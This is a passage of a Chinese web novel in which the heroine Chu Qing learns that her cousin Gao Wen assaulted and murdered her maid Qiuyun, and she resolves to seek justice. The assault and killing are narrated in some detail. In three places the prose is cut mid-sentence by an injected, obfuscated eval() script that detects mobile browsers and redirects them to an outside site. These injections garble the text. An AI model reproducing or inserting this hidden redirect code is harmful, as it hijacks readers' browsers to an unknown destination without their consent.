眼下瀚水盟约签约大典举行在即，城中各处安防都增派了一倍的人马。京中各处的哨岗都有卫兵十二个时辰不间断地看守，进城出城的车马更是查验得紧。无论是行人还是车马，只要到了京城外，都得停下逐一排查。 洪德门是正门，往来的车马多。苏兰桡嫌在这等太耽误时间，便招呼车夫绕路去西偏门。 车夫一扬马鞭，正准备调转车头。后方忽然闯出来一辆马车，刚好把楚卿二人的马车别停在原地。 楚卿还在思量秋云的事情，反应不大，只淡淡抬眸瞟了一眼车外。两辆马车停在咫尺之间，明显是不小心发生了冲撞。楚卿便没再多看，继续闭目沉思。 苏兰桡则推开车窗朝外看去，恰好赶上对面马车里的人也推开车窗查看情况。 寒风顺着车窗吹进来，闭目靠坐的楚卿觉得周围仿佛安静了那么一秒。紧接着便听见“哐”的一声，车窗被苏兰桡狠狠关了起来。 楚卿睁开眼：“怎么了？” 苏兰桡扶着胸口，一副见了鬼的样子：“他大爷的，吓死姐姐了。有个丑男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790862|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人朝我抛媚眼！” 楚卿一愣，顿时爆笑：“真的假的？” 能把苏大坊主吓成这样，她可得好好观摩观摩。 楚卿忙和苏兰桡换位置，只可惜对面的马车已经调转车头，楚卿朝外看去，除了赶马的车夫什么也没看见。她只好关窗，颇惋惜地叹了一声：“人家关窗谢客，不让我这凡夫俗子一睹尊容，真是可惜了。” “可惜你个大头鬼！”苏兰桡狠狠瞪了她一眼，“那人那模样画下来都够挂在家里辟邪了，他还敢朝我抛媚眼？这要是在海云端，我高低把他眼珠子抠出来。” 楚卿忍笑：“人家不是瞧你好看嘛！要是我喜欢的人能因为我一个媚眼，就能亲手把我画下来天天挂家里欣赏，那我抛它十几二十几个也不亏。” 苏兰桡气得直接嗔她一眼：“您可快闭嘴吧！” 车夫重新调转车头，马车开始朝西偏门赶去。 方才那一场闹剧，倒让楚卿忽然想起了一个人——高家长子高闻。 楚家人的模样都不赖，尤其是楚二的姑母楚暮，年轻时更是一等一的大美人。都说男孩像母亲，高闻也是京中出名的风流公子。 只可惜高闻白生了一副好皮囊，许是因为有高弘储那位不务正业的上梁做榜样，高闻这位下梁可以说直接歪出了圈。吃喝嫖赌，没有他不沾的。 听玉竹说，这位高大公子尤其好色，京中的秦楼楚馆处处有他的威名。他如今尚未娶妾，却已在将军府外养了不少外室。高弘储那点俸禄远不够他挥霍。他拿去养外室的钱，大多源自变卖楚家的家产。 楚卿也不知道自己为什么会忽然想起他。但眼下想到高闻，楚卿不免有了个令人胆寒的猜想——秋云被害，楚二投湖，这些事情都发生在除夕前的那几天。而高家长子高闻离家求学，似乎也是那段时间的事情。 楚卿皱了皱眉，看向苏兰桡：“苏姐姐，还得麻烦你再帮我查个人。” 苏兰桡抱着胳膊靠在马车上，一双媚眼微挑：“呦，我们楚大人也有求人的时候啊？” 这是还记仇呢！ 楚卿也不惭愧，厚着脸皮笑道：“我们苏坊主手眼通天，求您又不丢人。” “你少给我戴高帽。”苏兰桡坐直身子，捋了一下耳鬓的碎发，“说吧，又要找谁？” 楚卿刚要开口，马车外忽然传来一声大喊：“姑娘，等等在下。” 楚卿愣了愣：“喊谁呢？” 苏兰桡忙推开车窗朝外看去，只见方才撞上的马车紧紧跟在后边，竟跟着她们一路到来西偏门。而那名朝她抛媚眼的男人，正扒着窗子喊她，满眼都是廉价的深情。 苏兰桡再次哐一声关上窗户，骂了一声：“阴魂不散。” 楚卿问：“谁啊？” 苏兰桡指向窗外：“你不是要一睹尊容吗，人家追上来给你瞧了，自己看吧！” 楚卿便探头出去观望。只见后方不远处的马车上有一名男子探出头来，锦衣玉冠，面容俊朗，怎么看也和苏兰桡所说的“丑”字不沾边。所以楚卿先是愣了一下，然后就见那人也愣了一下。 “楚二？”男人惊讶出声。 马车跑起来颠簸声大，楚卿没听见男人的话音。但她已经认出这人是谁了。 楚卿关上车窗再坐稳时，面色已然冷了下去。苏兰桡没想太多，只道：“你看，我就说丑吧！” 楚卿没接话。 苏兰桡心想：这是被丑懵了啊！顿时感同身受，心疼地岔开了话题：“你方才说要查谁来着？” 楚卿沉默片刻，淡淡出声：“不用查了。” 她要找的高家长子高闻，就在后面的马车上。 而秋云的死因，她也终于全想起来了。 14. 第十四章 去年腊月廿七，晟都大雪。 那日是楚老将军的忌日。楚二一早随母亲蒋氏前往北郊的将军冢。秋云因为生病发热，被楚二留在琼英院修养，没跟着一起出门。 楚二担心秋云的屋子冷，特意在自己房里给秋云搭了矮床，供她暂时养病。秋云一开始碍于身份想拒绝，可她拗不过楚二，最后只好听命留在了楚二的房内休息。 而那日，高家长子高闻从青楼宿醉还家，迷迷糊糊间走错了院子，错把楚二的屋子当做自己的房间，推门而入时，恰好看见有人躺在楚二的房内。 他虽醉酒，却也反应过来这不是自己的房间，而是他那位表妹的屋子。但他没有及时退出去，反倒动了歪念。 楚二姿容清丽，不加修饰时宛若冰山上的雪莲；若略施粉黛，便如秀荷初发，每一分颜色都有令人移不开眼的绝艳出尘。 高闻觊觎楚二多年，碍于楚二的身份一直不敢动手。可眼下日日肖想的美人近在眼前，他酒劲上头，竟忽然觉得表妹也不是不能纳入房中。他一时间忘了楚二身上还有圣上钦赐的婚约，直接朝人扑了上去。 秋云尚在梦中，突然被人一把抓住禁锢在怀里，惊得失声大叫，拼命地挣扎。高闻醉酒没看清人，粗暴地撕开秋云的衣衫，堵住了秋云的嘴。 风雪在窗外不住呼嚎，秋云微弱的呜咽显得那样微不足道。她被高闻用撕扯下的床纱捆在床上，紧攥的指尖几乎刻入手掌。 她每每挣扎，高闻都会狠狠打她，打得她无法动弹，连眼泪都在眼角凝固干涸。她的目光开始涣散，紧绷的身体也因为绝望慢慢瘫软。 她想，她这一生，大概到此为止了。 然后，身上的男人突然哑声低唤：“卿卿。” 秋云一怔。 他在喊小姐。 他把她错认成小姐了。 这个想法令秋云如同坠入冰湖，寒意瞬间传入四肢百骸。她不惧死，但她不能让这样的危险在她死后仍日日徘徊在小姐身边。 她要杀了他。 秋云满心只剩下这一个想法。 楚二胆小，常在枕头下压一匕首镇邪。秋云用尽最后的力气挣脱开捆住手腕的绸带，从枕下抽出那把匕首，狠狠朝高闻刺了过去。 可高闻兴到浓时错身一动，匕首恰好刺偏。 冰冷的刀刃贴着高闻的臂膀划过，已经神志混沌的高闻瞬间清醒，这才认出身下的人不是楚二。 他先是怔住：“怎么是你？” 他纵情半晌竟弄错了人，而这丫鬟被他堂堂一位少爷亲近，不仅不从，居然还想杀他！高闻顿时勃然大怒。 他一把夺过秋云手里的匕首，反手刺进了秋云的胸膛。血迹在床榻上蔓延开，呼啸的风雪吹开房间的小窗。秋云望着窗外的漫天飞雪，永远闭了眼。 楚二和蒋氏出门祭拜楚老将军，要傍晚才能回来。高闻在满是血腥味的房内重新穿好衣裳，也算彻底醒了酒。 他面色阴冷地回到西院，轻车熟路地吩咐下人来琼英院打扫。秋云不是第一个死在他手里的丫鬟，他按旧例买通守门的卫兵，把秋云的尸体丢到了城外的冰湖里。 楚二回府得知此事，几乎是拼尽性命同高家人闹了一场。 可除了楚二，根本没人真正在意秋云的死。 蒋氏不知道高闻是错把秋云认作楚二。她不愿因为一名小丫鬟的死把事情闹大，再三劝楚二算了。而楚暮是楚二的姑母，更是高闻的母亲，为了儿子的名声她更不希望此事闹大。 高弘储则是觉得一名丫鬟能服侍他的儿子已是高攀，没留住性命是秋云不识抬举。何况她还划伤了高闻，楚二不仅不该来西院兴师问罪，反倒应该因秋云刺伤高闻的事情向高闻赔罪。 偌大的将军府上下数十口人，竟无一人站出来为秋云说话，仿佛活生生一条性命还抵不过“名声”二字。 楚二从西院回房，把自己关在房里一整夜没睡。这个家冰冷麻木，像是没有尽头的寒冬。她早该受够了。 次日一早，风雪依旧。 楚二穿上去年生辰秋云送她的秀荷裙，一路踏过风雪，来到冰湖中央的湖心亭。天边升起朝阳，浮着碎冰的湖面灼目耀眼。 楚二面朝朝阳，一跃而下……自此，再未归来。 楚卿回城后先将苏兰桡送回海云端，而后孤身乘车回到将军府。高闻因为纠缠苏兰桡，被海云端的暗卫拦在西城门，抵达将军府的时间比楚卿晚了半个时辰。 蒋氏身边的柳嬷嬷恰好撞见高闻进府，忙一路小跑着回霜颐院禀报。蒋氏正在喝药，忽然听见高闻回府的消息，惊得药碗险些脱手。 “什么？他怎么回来了？”蒋氏撂下药碗起身，“小姐呢？没遇上吧？” 柳嬷嬷道：“还没呢，高大公子刚回府，小姐眼下正在琼英院，许是还不知道呢！” 蒋氏这才松下一口气。 年前，楚二因落水高烧重病的期间，蒋氏和高家大闹过一场。高弘储不得已将高闻送回老家，并许诺在楚二出嫁以前不会再将高闻接回来。可眼下楚二尚未出嫁，事情才刚刚平稳，高家人竟已经把高闻接了回来。 蒋氏第一反应是恼火，高家人如此堂而皇之的失约，分明根本没把她放在眼里；可紧接着，她却又开始害怕——万一高闻出现，楚卿想起过去的事情该怎么办？ 她们母女的关系素来冷淡，自从楚二高烧失忆后才慢慢缓和。万一此时女儿想起她从前的软弱和冷漠，不再愿意接受她这个母亲，她日后的日子岂非更加艰难？ 柳嬷嬷是蒋氏身边的老人，蒋氏的心思她能摸个八九不离十。见蒋氏垂眸久久不语，柳嬷嬷上前提醒：“夫人，纸里包不住火，与其等着小姐自己想起来，倒不如您亲自去说。无论如何，您终归是小姐的母亲。什么事，也抵不过骨肉血亲。” 蒋氏却仍垂眸不语。她不知该如何开口，甚至不知道该如何面对楚卿。当初如果她肯站出来为秋云的死说一句公道话，或许楚二都不会彻底绝望到投湖。 这事，该如何开口呢？ 蒋氏正愁着，门外的丫鬟忽然来报：“夫人，二小姐来了。” 蒋氏动作一僵，心想：糟了，来得这么巧，莫不是已经想起来了？ 楚卿和林七已经到了霜颐院的小花园。柳嬷嬷闻讯出来接她。楚卿脚步匆匆，但面色平静，不像忽然回忆起旧事来兴师问罪的样子。 柳嬷嬷不免松下一口气，试探道：“小姐不是方从外面回来，怎么有空来看夫人了？” 楚卿没多言语，只道：“有些事想问问。” 柳嬷嬷心里直犯嘀咕，又问：“什么事啊，老奴能帮上您的话，便不打扰大夫人了吧！” 楚卿停下脚步：“夫人病了吗？” “夫人”这个称呼，令柳嬷嬷在寒冬里平白惊出一身冷汗。她忙道：“夫人身体一向不好，方才刚喝下药，眼下正午睡。” 楚卿便道：“昂，那我不进屋了。”她又问柳嬷嬷，“嬷嬷能拿到东院下人的卖身契吗？” 柳嬷嬷被问得一愣：“小姐要卖身契做什么？” 楚卿没解释，只道：“有用。嬷嬷告诉我在哪就行，我自己去拿。” 柳嬷嬷面露难色：“府里的田契、房契这几年都被高家人搜刮一空，下人们的卖身契自然也都早早到了姑太太的手里。不知小姐想要谁的卖身契，老奴可以等夫人醒了，帮您问问夫人是不是还在咱们东院。如果不在，只能去西院拿，那事情就麻烦了。” 楚卿淡淡道：“有劳嬷嬷了。是名小丫鬟的卖身契。”柳嬷嬷闻言一怔，心里隐约有了猜想。接着便见楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚卿闻言不语，只是垂眸打量着卖身契。棕褐色的纸张已然陈旧，墨色的字迹微微褪色，唯独右下角一枚指印仍鲜红如初。 她抬眸，笑问：“嬷嬷是说什么事？” 笑里透着凉意，仿佛揉进寒冬风雪。柳嬷嬷忽然觉得，她好像不认识眼前的二小姐了。 柳嬷嬷只好垂头道：“小姐，您明白老奴的意思。” 秋云只是名小丫鬟，高闻却有整个高家做后盾。高家人本就与楚家不睦，再为了一名小丫鬟去得罪他们，不值当！ “小姐，算了吧！”柳嬷嬷又劝。 算了吧！ 这三个字，在楚二的记忆里出现过无数次。 西院的人克扣她们的炭火，蒋氏说：“算了吧，忍一忍就好了。” 西院的人侵占楚家的家财，蒋氏也说：“算了啊，你早晚要嫁给外人，要那些田产房产有何用？” 无论西院的人如何刁难，如何肆意妄为，蒋氏都会说：“算了吧！” 那时秋云被害，蒋氏也是这样告诉她：“只是名丫鬟，算了吧！” 这些楚二的回忆在楚卿的眼前一幕幕重演，那句“算了吧”好像可以麻痹思绪，只要说出来，就可以抵御世间严寒。 可有些事情寒在骨子里，不能轻易算了。 楚卿终于抬眸：“今日是正月十六，距离去年腊月廿七已经过了半月之久。”楚卿的话音听不出丝毫情绪，却平白让人胆寒。柳嬷嬷不敢应声，楚卿遂笑：“嬷嬷似乎很怕提起秋云的名字？” 柳嬷嬷周身一震，将头埋了下去。 楚卿轻笑：“无妨，嬷嬷不敢提，我敢。秋云的尸体在冰湖里泡了大半月，若非如今寒冬腊月，只怕早都泡烂了。这事，是该清算了。” 既然高家人执意包庇高闻，那楚卿也不介意把事情闹大些。 她要去敲登闻鼓，告御状。 15. 第十五章 但这御状，不能她亲自去告。 一来，她身份不便。祁王府的人盯她盯得紧，在从将军府脱身以前，她不宜太出风头； 二来，她是将军府的人。此事由她去状告高闻，很可能被有意包庇高闻之人引到将军府内斗上，从而歪曲重点，大事化小、小事化了。 所以楚卿打算派人去一趟秋云的老家，把秋云的卖身契送回去，再请秋云的爹娘进京亲自告这御状。至于秋云的爹娘愿不愿意走这一趟…… 楚卿眼巴巴地看着苏兰桡：“苏姐姐，借点银子使使？” 楚卿昨夜做好计划，今天又一大早就到了海云端。苏兰桡眼下才醒，一睁眼就看见楚卿守在她的床头，一双桃花眼直勾勾地盯着自己，活像穷鬼见了财神爷。 苏兰桡打了个哈欠，问：“要多少？” 楚卿伸手比了个五。 苏兰桡：“五百两？” 楚卿连连摆手：“不不不，不用那么多，五十两就够了。” 苏兰桡将信将疑地看着楚卿，先是吩咐人去拿银子，而后起身边挽发髻边走向梳妆台，随口问：“你现在这么穷吗？” 楚卿：“……我一个落魄将军府的穷小姐，哪比得上苏坊主日如斗金。你怎么不问我要钱做什么？” 苏兰桡敷衍：“做什么？” 楚卿：“想派人去请秋云的爹娘进京，不给些好处，只怕请不动。” 苏兰桡回眸：“可是秋云是她们的女儿，为人父母的为子女讨公道，不是天经地义吗？” 楚卿垂眸：“他们若是拿她当女儿，便不会把她卖出来。” 并非所有父母都懂得爱惜子女，尤其是女儿。这件事，楚卿从九岁起就已经明白了。 苏兰桡会意，忙吩咐人再多取些银两，又被楚卿拦了下来：“不用太多，意思意思就行。” 对于乡野中的贫苦百姓来说，五十两已经足够了。好处给得太多，容易养出蛀虫。 正事交代完，楚卿在海云端蹭了顿早饭，又和苏兰桡闲谈半晌，直到晌午才从海云端的后门离开。她吩咐送她来的马车车夫先回将军府，自己则辗转绕过两条街，一路到了城北的鸿章书院。 鸿章书院是大靖第一书院，名家云集，群贤毕至。凡从鸿章书院走出的学生，大多可成大靖的栋梁之才。所以京中达官显贵为了送各家子弟入鸿章书院求学，几度挤破了脑袋。 楚卿虽未曾入鸿章书院求学，却因于鸿章书院的掌院、也就是前任首辅周亭以老先生有些旧交，对鸿章书院的情况也多有了解。 不过她此次前往鸿章书院，并非为了拜会周老，而是去找一本书。 上次于金庆宫故地重游，楚卿回想起凶手的同时，也回想起一件有关那日救她之人的事。 那日大火灼衣，男人背着她在火海中艰难前行，举步维艰里，曾掉下一枚玉佩。白玉透润宛如羊脂，雕以金鹰展翅的纹案，一看便知并非中原之物。 此事，楚卿打算亲自调查，所以并未告知苏兰桡。 周老先生五年前辞官离京游历四方，如今入京还朝，带回了新著成的《四荒游记》。据说这本游记中收录着不少边关氏族的风土人情，楚卿便想去鸿章书院碰碰运气，或许可以从中查到些关于玉佩的线索。 大靖的书院无论公私，历来只收男子。作为大靖的第一书院，鸿章书院更是如此。楚卿并非鸿章书院中人，无法从正门入内，只好从西面的矮墙偷偷翻了进去。 这条路楚卿轻车熟路，从前周老先生总撺掇她来鸿章书院下棋，她那时尚未入仕，名不见经传，每次都只能从这里翻墙进去。待到后来她能名正言顺地出入鸿章书院，周老先生已然致仕离京，她也便不常来了。如今想想，她从正门出入的次数还不及翻墙造访次数的零头，也是颇为滑稽。 楚卿一路避过巡逻学子的视线，在一座假山后换上一早备好的水蓝院服，将发髻拆开重新束冠。待一番折腾再从假山后出来，俨然已是一副书院学子的模样。 只可惜楚二的个字不高，身量又清瘦，近看难免看出端倪。好在眼下尚在年假，鸿章书院内的学生不多，楚卿要去的藏书楼内外更是难见一人。她速去速回，问题应当不大。 自打五年前周老离京，鸿章书院的掌院之职一直空缺，学子入院的筛选也不似从前严格。据说，曾有富商为送幼子来此求学，不惜斥巨资重修藏书楼，又捐了万卷新书。 楚卿站在三层高的藏书楼外，望着眼前焕然一新的藏书楼，总觉得庄重有余，独独少了些古韵，像是一本上好的古书平白染了铜臭气。 进入藏书楼需要出示书院学生的令牌。小屋里的守馆老者专于看书，几乎从不抬眼看人。楚卿把当年周老赠予她的令牌递过去，老者草草打量一眼，又还回来，摆摆手让她进了。 进门处的书案上铺着藏书楼各层书籍的分布图，楚卿只是路过并未查看，径直去往顶层。 周老先生著作等身，年逾古稀，治学数十载，平生所有著作都收录于藏书楼最顶层中央的书架上。楚卿要找的《四荒游记》自然也在此处。 可她在红棕雕花的梨木书架上上下下找了三遍，愣是没看到那本《四荒游记》。周老先生早在半年前返京，没理由时隔半年之久新书仍未收入馆藏。楚卿想不明白，又耐着性子仔仔细细从上到下全找了一遍。 还真没有，奇了怪了。 楚卿正准备下楼冒险问问楼下的守馆老者，角落里的书架后忽然传来一阵细碎的声响。她停下脚步，朝角落看去。 透过书籍间的缝隙，可以隐隐约约看见书架后狭小的空间里缩着一人。那人穿着一身灰褐色麻衣，身量瘦小，不仔细看还真看不见她。 楚卿走过去，冷声问：“什么人？” 书架后的人立马打了个哆嗦。 楚卿命令：“出来。” 书架后的人才艰难地从书架间隙挤出来，竟是一名梳着双丫髻的小姑娘。 她红着眼睛乞求：“哥哥，我不是贼，你别抓我。” 小姑娘不过十一二岁，许是平日伙食不好，生得格外瘦小。她被楚卿吓到了，双手背后搅着手指，两条细腿止不住地颤抖。 楚卿见状不免诧异，她愣了愣，忙俯身安抚：“别怕，我不抓你。告诉哥哥，你为什么会在这里？” 小姑娘低下头，羞愧地咬了咬嘴唇，把背手藏在身后的书递上前：“我……我 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楚卿轻轻拍去她从书架后钻出时沾上的灰尘，温声道：“城北顺德街后巷有一家秉烛书斋，那里存着不少书籍。书斋老板是我的朋友，你到那尽管入内看书，想看多少看多少，不会有人拦你。” 小姑娘的眼睛顿时亮了：“真的吗？”可她想了想，又低头，“但是，我没有钱。” 楚卿失笑：“不收你的钱。书斋里缺人打扫，你若有空，可以去帮忙扫扫灰尘，算作借书的费用。” 小姑娘满心欢喜，笑弯了眉眼。她将手里的《四荒游记》递给楚卿：“哥哥，你方才是在找这本书吗？我看完了，给你。” 楚卿接过，又拍了拍她的头，道谢后向她告别。小姑娘临走前回眸，朝楚卿粲然一笑：“哥哥，我叫阿南，任尔东西南北风的南。” 那一瞬，不知因何，楚卿竟在她的身上看见了自己的影子。她也曾偷偷躲在学堂的屋檐下，从雨打屋檐的滴答声中捕捉朗朗读书声。那时候，她最大的愿望就是能在有朝一日能堂堂正正地坐在学堂里。 眼下已过晌午，藏书楼卯时落锁。楚卿不可能在这看完一整本厚重的《四荒游记》，只好再次冒险下楼登记借书。 楚卿将令牌和《四荒游记》一同递进窗口，小屋的内老者先是打量一眼《四荒游记》，又看向楚卿的令牌，不由皱了皱眉。 他低头，视线穿过小窗口，望向楚卿：“你叫周青？” 楚卿面色从容地点头。 周青，周老给楚卿定制令牌时起的假名。因为姓周，楚卿总觉得那老顽童借机占她便宜。 守馆老者打量楚卿片刻，苍老浑浊的眼眸被眼皮垂下的褶皱遮住，昏暗混沌看不清神色。他注视良久，终于收回视线，默默将人名书名登记在册，递还了书籍和令牌。 虚惊一场，楚卿忙带着书和令牌跑路。她按原路返回，到假山处换回衣物，又抱着砖头般沉重的《四荒游记》翻过墙头，甫一站稳，便见一辆马车从对街的巷子穿行而过，最后在鸿章书院的正门停了下来。 楚卿认出那架马车，忙躲到石墙后偷偷观望。只见叶安下车摆好马凳，将车内面色苍白的男子迎下马车。 瑟瑟寒风中，披着狐裘大氅的萧绛轻咳几声。 楚卿一愣，他怎么来了？ 16. 第十六章 萧绛此行鸿章书院是奉旨前来。瀚水盟约签约在即，皇帝特嘱托萧绛将合约文书拿来给周老过目。不过说是过目，其实只是走走过场，聊表帝王重视老臣之心。 萧绛心知肚明，周亭以老先生自然也懂。白髯缁衣的老者倚在梨木坐榻上，草草看过一遍合约文书，又将目光落回身前的棋盘。 “老臣记得瀚水盟约原是礼部负责？”周亭以似问似答，抬手在棋盘拾起一枚浑圆透亮的黑子。 萧绛恭敬回道：“是。” 又顿了顿，“楚大人一向主和。” 榻上的老者目光微动，粗糙的指腹在黑子上摩挲片刻，从容落子，抬手招呼萧绛：“殿下来陪老臣下一局。” 萧绛遂上前落座。 周亭以贵为两朝元老，连皇帝见面都要礼待三分。萧绛谦恭有度，周亭以却没什么架子。他招呼萧绛坐好，摆手吩咐书童奉茶，问萧绛：“殿下用何子？” 萧绛见方才周老手里拿的黑子，便道：“您先请。” 周亭以似是想到什么，笑道：“寻卿那小子每次都争着抢先手。” 萧绛笑而不语，心下想：凡事先发制人，倒是她的性子。 二人下棋间，周亭以时不时问几句朝中近况，因为大多是些无关痛痒的小事，萧绛便一一如实回答。问着问着，周亭以忽然停下手中动作，抬眸问萧绛：“老臣记得殿下当年对金敕一族的态度，是主战。” 周亭以虽垂垂老矣，眼底眸光却一如既往地洞明。萧绛被他注视着，只能从容应声：“是。” 周亭以又问：“那殿下此时为何又要接手瀚水盟约一事？” 萧绛落子，白棋占得上风。他淡淡提醒：“先生，到您了。” 周亭以见状笑了几声，眉目间的皱褶挤在一次，慈眉善目的样子颇像得道的高人。他打趣道：“老臣是被殿下从古道上连日赶马抓回来的，殿下有意为寻卿讨一个公道，又何必瞒着老臣？” 萧绛颔首：“先生见笑了。其实今日前来，学生亦有一事求教先生。” 周亭以摆摆手：“殿下且问。” 萧绛道：“金敕一族与我朝交战多年，直至去年年初才有投降求和之意。朝中主和与主战两派争得不可开交，那时先生不在朝中，学生却一直很想听听先生的看法。” 周亭以再次落下一子，沉声道：“金敕一族久居大漠草原，南与我朝接壤，北通外族各部。若我朝能拿下金敕领土，无异于打开了与北疆各国的通商门户。与金敕一战，利大于弊。” 这也正是萧绛当年暗中主战的原因。 萧绛又请教：“那主和呢？” 周亭以虽笑，目光却转暗：“自古战乱一起，边关动荡，民不聊生。无论是我朝还是外族，受苦的终归是穷苦百姓。”他看向萧绛，意味深长道：“这便是寻卿的看法。他常说世事不能只看利弊，权衡之中，人心也是筹码。” 萧绛了然，再次颔首：“学生受教了。” 周亭以看得出，萧绛此番问讯是“醉翁之意不在酒”，便又补了一句：“寻卿那小子出身乡野，见过民间的水深火热，难免心软些。只是心太软，也不全是好事。若他还在，你二人倒是登对。” 萧绛动作一顿，棋子落偏了一分。 周亭以并不知晓楚卿是为女子对身份，“登对”二字脱口而出也未觉不妥。萧绛将棋子扶正，客套回话：“楚大人年少有为，学生愧不敢当。” 二人交谈间，一盘棋局已然接近尾声。周亭以抬手落子，萧绛棋差一招白子落败，便起身见礼：“学生棋艺不精，先生见笑了。” 话音未落，一名粗衣老者阔步走入，声如洪钟：“老周，有人来借你的书了。” 来人毫不见外地闯入里间，手里还握着一卷画轴，竟是鸿章书院藏书楼的守馆老者。他走得太急，还没进门已经开口，绕过屏风才注意到阁内还有一人，不由顿住脚步。 萧绛上前见礼：“晚辈萧绛，见过闫老先生。” 闫峥，鸿章书院的初代掌院，二十年前把掌院的位置甩给时任首辅之职的周亭以，自己跑到藏书楼躲清闲，一躲就是二十年。 闫峥终日躲在藏书楼里不问世事，只知道“萧”是国姓，却没认出萧绛，只好看向周亭以。周亭以招招手：“来，坐，五殿下不是外人。” 听见“五殿下”三字，闫峥才得知萧绛的身份。他回礼：“草民见过祁王。” 闫峥是一路小跑过来的，气还有些喘，他坐下喝了一口茶，看向周亭以：“老周，别说，你那破书还真有人看。” 早前，闫峥看过周亭以的新著《四荒游记》，曾说其中记录多为风土人情，学生们读不出治世之道，恐怕不会喜欢。果不其然，《四荒游记》入馆半年，借阅者寥寥，几乎堆上一层灰尘。 周亭以平时不甚在意此事，可眼下萧绛还在，他不免面色一僵，下意识看向萧绛。 萧绛微微嘬了一口茶。 周亭以尴尬轻咳，看向闫峥：“殿下还在，你倒是给我留点面子。” 闫峥满不在乎地摆手：“少装，你方才还说殿下不是外人。” 周亭以被他噎了一下，只好岔开话题：“借书的学生呢，是哪院的？” 闫峥道：“哪院都不是。”他起身把手里的画撂倒周亭以面前，“是你周谨台，周老先生的亲传大弟子，周青！” 周亭以顿住。 周谨台是周亭以的本名，只有闫峥敢这般称他。萧绛尚不明情况，试探着问周亭以：“学生记着周老先生不收亲传弟子。” 周亭以忙摆手：“殿下莫听他揶揄老臣，哪有什么亲传弟子，他说的是寻卿。” 他倒也想收人家为徒，可惜人家自视甚高，不肯拜他这个师父。 “寻卿”二字像是一道惊雷，在萧绛耳畔炸了一下。周亭以见萧绛目光骤暗，解释起“周青”的来历，解释完又道：“许是那人拿了寻卿的令牌。” 闫峥指了指画像，适时提醒：“人我画下来了。” 周亭以展开画像，打量片刻，皱了皱眉：“这人瞧着，不像男子。” 闫峥道：“是个姑娘家，也不知在哪偷的院服。” 周亭以将画像递给萧绛，想问问萧绛的看法。可他一转头，萧绛一双眼眸深若寒潭，明显是知道什么。他了然，话音一转：“老臣年迈，查人之事力不从心。此事，劳烦殿下了。” 萧绛遂接过画像，向二老辞别。 萧绛走后，闫峥打量着台案上的棋局，忍不住揶揄周亭以：“一把年纪了，怎么老在下棋上欺负小辈？” 周亭以伸手拾起萧绛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790865|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下的最后一颗白子，又反手下到别处。仅一子之差，黑白两方局势竟陡然逆转。 周亭以轻叹：“是五殿下让着老夫。只有寻卿那臭小子争强好胜，从来不肯让棋。” 他顿了顿，不由失笑：“不过他是个臭棋篓子，让与不让没区别。” 方走到琼英院门口的楚卿一连打了好几个喷嚏。她揉了揉鼻子，心道最近不太妙啊，喷嚏打得忒勤，是不是得罪谁了，不然怎么三天两头有人骂她？ 正思量着，小院子忽然传来一阵男子的话音。 “小美人，你叫什么名字，过来给本少爷仔细瞧瞧！”高家长子高闻站在琼英院里，朝坐在楚卿房门前的林七招了招手。 林七冷冷看他一眼，兀自装聋。高闻碰了壁也不臊得慌，反倒笑呵呵走到林七身前，俯身道：“没想到一月没回府，府里竟多了你这样的美人。” 说着，他有意伸手去碰林七的脸。林七错身一躲，没等他反应过来已经闪身到数米之外。 高闻下意识揉了揉眼睛，再回过身，林七已经站到了庭院中央。 林七冷着脸，不怒、不惧、也不厌恶，如同不懂红尘情愫的侠女。高闻见惯千娇百媚的女儿姿态，忽然发觉像林七这样的冰山雪莲，似乎也别有风味。 他舔了舔唇：“你是楚二房里的丫鬟？你家小姐是个废物包子，生来就是受欺负的命。别跟着她了，跟本少爷走吧！”他再次走向林七，勾起一边唇角，双眼半眯着把林七从头到脚打量一遍，“跟本少爷回房，本少爷保你□□，从此不知人间愁处。” 林七攥了攥拳。 她话少，因为很多情绪她不理解，也就不知如何表达。但眼下，她忽然想到一个词，随即脱口而出。 “恶心。” 高闻先是一愣，顿时勃然大怒：“你个下贱丫鬟也配冒犯本少爷！” 说着，扬起巴掌便朝林七挥去。 可惜林七身手绝佳，他这一掌扇空未等回神，忽然听见身后有人喊：“哪来的毛贼？” 他下意识回身，哪成想一盆热乎的泔水迎面泼来，如同倾盆大雨一般，直接将他浇成了冒热气的落汤鸡。 楚卿放下泔水桶，满脸震惊：“表哥，怎么是你啊？” 高闻整个人僵在原地，几乎不敢相信发生了什么。那个被自己称为废物包子的表妹，不仅一改往日任人欺负的态度，反倒敢拎起泔水桶泼他，泼完还大言不惭地装傻！ 高闻回过神登时震怒，开口便要大骂。 楚卿忙上前打断：“哎呦，表哥，真是对不住，我还以为是哪来的地痞流氓呢！您快别在这站着了，今儿个晌午小厨房炖了水煮鱼，那泔水桶里全是辣子。您再不去洗洗，怕是要烂脸的。” 高弘储这才发觉自己确实觉得脸上火烧火燎的疼，他咬了咬牙：“你给我等着！”跌跌撞撞地跑回自己院子洗脸了。 楚卿望着高弘储跑远的背影，面色骤冷。 林七走上前：“大人，我没事。” 楚卿收回目光，道：“下次再有这种事，你就打他。” 